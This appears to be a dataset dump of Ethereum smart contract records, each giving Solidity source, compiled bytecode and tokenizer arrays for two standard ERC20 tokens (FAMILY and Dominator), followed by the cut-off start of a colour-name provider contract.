implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowed; /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed adfunction transferdress. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address. * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses. * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } } contract FAMILY is ERC20 { string public constant name = 'FAMILY'; string public constant symbol = 'FML'; uint8 public constant decimals = 18; uint256 public constant totalSupply = (21 * 1e6) * (10 ** uint256(decimals)); constructor(address _fmlAddress) public { _balances[_fmlAddress] = totalSupply; emit Transfer(address(0x0), _fmlAddress, totalSupply); } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d4578063313ce56714610259578063395093511461028a57806370a08231146102ef57806395d89b4114610346578063a457c2d7146103d6578063a9059cbb1461043b578063dd62ed3e146104a0575b600080fd5b3480156100c057600080fd5b506100c9610517565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be610567565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610578565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610629565b604051808260ff1660ff16815260200191505060405180910390f35b34801561029657600080fd5b506102d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061062e565b604051808215151515815260200191505060405180910390f35b3480156102fb57600080fd5b50610330600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106d3565b6040518082815260200191505060405180910390f35b34801561035257600080fd5b5061035b61071b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103e257600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610754565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b50610486600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f9565b604051808215151515815260200191505060405180910390f35b3480156104ac57600080fd5b50610501600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610810565b6040518082815260200191505060405180910390f35b6040805190810160405280600681526020017f46414d494c59000000000000000000000000000000000000000000000000000081525081565b600061055d338484610897565b6001905092915050565b601260ff16600a0a6301406f400281565b60006105858484846109fa565b61061e843361061985600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bc690919063ffffffff16565b610897565b600190509392505050565b601281565b60006106c933846106c485600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610be790919063ffffffff16565b610897565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f464d4c000000000000000000000000000000000000000000000000000000000081525081565b60006107ef33846107ea85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bc690919063ffffffff16565b610897565b6001905092915050565b60006108063384846109fa565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156108d357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561090f57600080fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610a3657600080fd5b610a87816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bc690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610be790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600080838311151515610bd857600080fd5b82840390508091505092915050565b6000808284019050838110151515610bfe57600080fd5b80915050929150505600a165627a7a72305820571c69d1b6b32c91dbecc3fac678b3f1b0980165f2ec9269df5a6684e9d0c18d0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2620, 2683, 27814, 2487, 10322, 26187, 2683, 22932, 2546, 2692, 2094, 2581, 2620, 27531, 3207, 2581, 2497, 2581, 2546, 2575, 2475, 2278, 28311, 3207, 2620, 18827, 2497, 2549, 2063, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2423, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 9413, 2278, 11387, 8278, 1008, 1030, 16475, 2156, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 2322, 1008, 1013, 3206, 29464, 11890, 11387, 1063, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,309
0x968a560efdfe976b2c42d9d5b6027f38654cebe1
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Dominator is StandardToken { string public constant name = 'Dominator'; string public constant symbol = 'DOTR'; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 5 * 10 ** (9 + uint256(decimals)); function Dominator() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d05780632ff2e9dc14610249578063313ce5671461027257806366188463146102a157806370a08231146102fb57806395d89b4114610348578063a9059cbb146103d6578063d73dd62314610430578063dd62ed3e1461048a575b600080fd5b34156100ca57600080fd5b6100d26104f6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061052f565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba610621565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061062b565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c6109e5565b6040518082815260200191505060405180910390f35b341561027d57600080fd5b6102856109f6565b604051808260ff1660ff16815260200191505060405180910390f35b34156102ac57600080fd5b6102e1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109fb565b604051808215151515815260200191505060405180910390f35b341561030657600080fd5b610332600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c8c565b6040518082815260200191505060405180910390f35b341561035357600080fd5b61035b610cd4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103e157600080fd5b610416600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d0d565b604051808215151515815260200191505060405180910390f35b341561043b57600080fd5b610470600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f2c565b604051808215151515815260200191505060405180910390f35b341561049557600080fd5b6104e0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611128565b6040518082815260200191505060405180910390f35b6040805190810160405280600981526020017f446f6d696e61746f72000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561066857600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106b557600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561074057600080fd5b610791826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111af90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610824826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108f582600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111af90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600901600a0a60050281565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b0c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ba0565b610b1f83826111af90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600481526020017f444f54520000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d4a57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d9757600080fd5b610de8826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111af90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000610fbd82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156111bd57fe5b818303905092915050565b60008082840190508381101515156111dc57fe5b80915050929150505600a165627a7a7230582084a4541f617380f3a04092e5a77da8e0dd8935a0fa48128ec270b299b475caaf0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2620, 2050, 26976, 2692, 12879, 20952, 2063, 2683, 2581, 2575, 2497, 2475, 2278, 20958, 2094, 2683, 2094, 2629, 2497, 16086, 22907, 2546, 22025, 26187, 2549, 3401, 4783, 2487, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,310
0x968a62e92f02a4934eaad9923959d58ef6e64492
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "./IColorProvider.sol"; contract ColorProviderBravo is IColorProvider { bytes private constant COLOR_NAMES_10 = "MARRON|PEPPERCORN|SPHINX|SPARROW|RAISIN|MOONSCAPE|FLINT|PLUM PERFECT|SASSAFRAS|FUDGE|PORT ROYALE|BURGUNDY|WINDSOR WINE|TULIPWOOD|PRUNE|ITALIAN PLUM|POTENT PURPLE|BORDEAUX|RED VIOLET|AMARANTH|MAUVE MIST|ARGYLE PURPLE|VALERIAN|GRAPE JAM|CRUSHED GRAPE|WOOD VIOLET|DARK PURPLE|WINTER BLOOM|WINSOME ORCHID|SMOKY GRAPE|CROCUS PETAL|SHEER LILAC|AFRICAN VIOLET|LAVENDER|BELLFLOWER|LAVENDER FOG|LAVENDER FROST|RHAPSODY|ORCHID BLOOM|PURPLE ROSE|SAND VERBENA|HYACINTH|DEWBERRY|BRIGHT VIOLET|DEEP LAVENDER|PANSY|IMPERIAL PURPLE|PICASSO LILY|PLUM JAM|MAJESTY|PETUNIA|ACAI|GRAPE COMPOTE|NAVY COSMOS|MULLED GRAPE|MYSTICAL|LOGANBERRY|VERONICA|PURPLE OPULENCE|LIBERTY|DEEP BLUE|VIOLET INDIGO|DAHLIA PURPLE|PRISM VIOLET|ROYAL PURPLE|VIOLET TULIP|BOUGAINVILLEA|ASTER PURPLE|HEIRLOOM LILAC|DAYBREAK|EVENING HAZE|LAVENDER GRAY|GRAY RIDGE|LILAC MARBLE|CLOUD GRAY|IRIS|NIRVANA|DAPPLE GRAY|MINIMAL GRAY|SHARK|ICELANDIC BLUE|ALEUTIAN|SILVER BULLET|BLUE GRANITE|COSMIC SKY|BLEACHED DENIM|CORSICAN BLUE|SPECTRUM BLUE|PALE IRIS|LOLITE|BLUE IRIS|NAVY BLUE|EASTER EGG|PERSIAN JEWEL|WEDGEWOOD|BAJA BLUE|ROYAL BLUE|CLEMATIS BLUE|ULTRAMARINE|AMPARO BLUE|DAZZLING BLUE|BLUING|SURF THE WEB|BLUE QUARTZ|GALAXY BLUE|LIMOGES|NAVY PEONY|SODALITE BLUE|LAPIS BLUE|PRINCESS BLUE|VICTORIA BLUE|SNORKEL BLUE|TURKISH SEA|BLUE LOLITE|REGATTA|PALACE BLUE|SUPER SONIC|BEAUCOUP BLUE|CAMPANULA|INDIGO BUNTING|DAPHNE|SKYDIVER|BALEINE BLUE|CLASSIC BLUE|LITTLE BOY BLUE|AZURE BLUE|IBIZA BLUE|BLUE ASTER|FRENCH BLUE|IMPERIAL BLUE|BALTIC SEA|ETHEREAL BLUE|BONNIE BLUE|MALIBU BLUE|WAVE RIDE|DEEP WATER|SEA OF BELIZE|ALASKAN BLUE|LICHEN BLUE|FEDERAL BLUE|CERULEAN|BLISSFUL BLUE|ALLURE|CYANEUS|BLUE HORIZON|ENSIGN BLUE|RIVIERA|VALLARTA BLUE|STAR SAPPHIRE|BEL AIR BLUE|BLUE JASPER|HIGH TIDE|SET SAIL|POSEIDON|CORNFLOWER|PROVENCE|MARINA|GRANADA SKY|BLUE YONDER|DUTCH BLUE|SERENITY|VISTA BLUE|HYDRANGEA|WINDSURFER|FROZEN FJORD|PLACID BLUE|OPEN AIR|AZURINE|EBB AND FLOW|ICE WATER|DUTCH CANAL|POWDER BLUE|ALL ABOARD|ICE MELT|SKYWAY|CHAMBRAY BLUE|BRUNNERA BLUE|ENDLESS SKY|HALOGEN BLUE|KENTUCKY BLUE|ZEN BLUE|ANCIENT WATER|NIAGARA MIST|WILD WIND|BLUEFIN|FOREVER BLUE|INFINITY|STONEWASH|FLINT STONE|GRISAILLE|BLUE WING TEAL|DARK DENIM|MOONLIT OCEAN|COLONY BLUE|BIJOU BLUE|ENGLISH MANOR|SARGASSO SEA|COASTAL FJORD|GRAYSTONE|BLUE ICE|MARLIN|SKIPPER BLUE|BLUE RIBBON|ASTRAL AURA|OCEANA|BELLWETHER BLUE|BEACON BLUE|RHODONITE|DEEP COBALT|ESTATE BLUE|TWILIGHT BLUE|PAGEANT BLUE|SPELLBOUND|INKLING|MARITIME BLUE|MOOD INDIGO|NAVY BLAZER|DEEP WELL|OMBRE BLUE|SALUTE|MAGICAL FOREST|CHARCOAL ART|SLEET|TRADEWINDS|STORMY WEATHER|MIDNIGHT NAVY|BLUEBERRY|CARBON|BLUE SHADOW|INDIAN TEAL|ORION BLUE|STARGAZER|WINDWARD BLUE|SPRING LAKE|BLUE FUSION|KEY LARGO|TITAN|PROVINCIAL BLUE|AEGEAN BLUE|CORONET BLUE|COPEN BLUE|STELLAR|BLUE MIRAGE|DEEP DIVE|GIBRALTAR SEA|BLUESTEEL|INK BLUE|MOROCCAN BLUE|GRAY DAWN|CELESTIAL BLUE|BLUE FOG|DUSTY BLUE|FADED DENIM|DELICATE BLUE|SUMMER SONG|CLEAR SKY|GLACIER LAKE|OMPHALODES|COOL BLUE|AQUAMARINE|SKY BLUE|AIR BLUE|ANGEL FALLS|DUSK BLUE|HERITAGE BLUE|NIAGARA|CENDRE BLUE|FAIENCE|BLUE SAPPHIRE|BLITHE|DRESDEN BLUE|MEDITERRANEAN|SWEDISH BLUE|MYKONOS BLUE|NORSE BLUE|HAWAIIAN OCEAN|BLUE JEWEL|METHYL BLUE|ATOMIZER|SPLISH SPLASH|BLUE GROTTO|CRYSTAL SEAS|SWIM CAP|AQUARIUS|CYAN BLUE|BLUE ATOLL|BLUEJAY|COOLING SPRAY|SPUN SUGAR|CORYDALIS BLUE|PETIT FOUR"; bytes private constant COLOR_RGBS_10 = 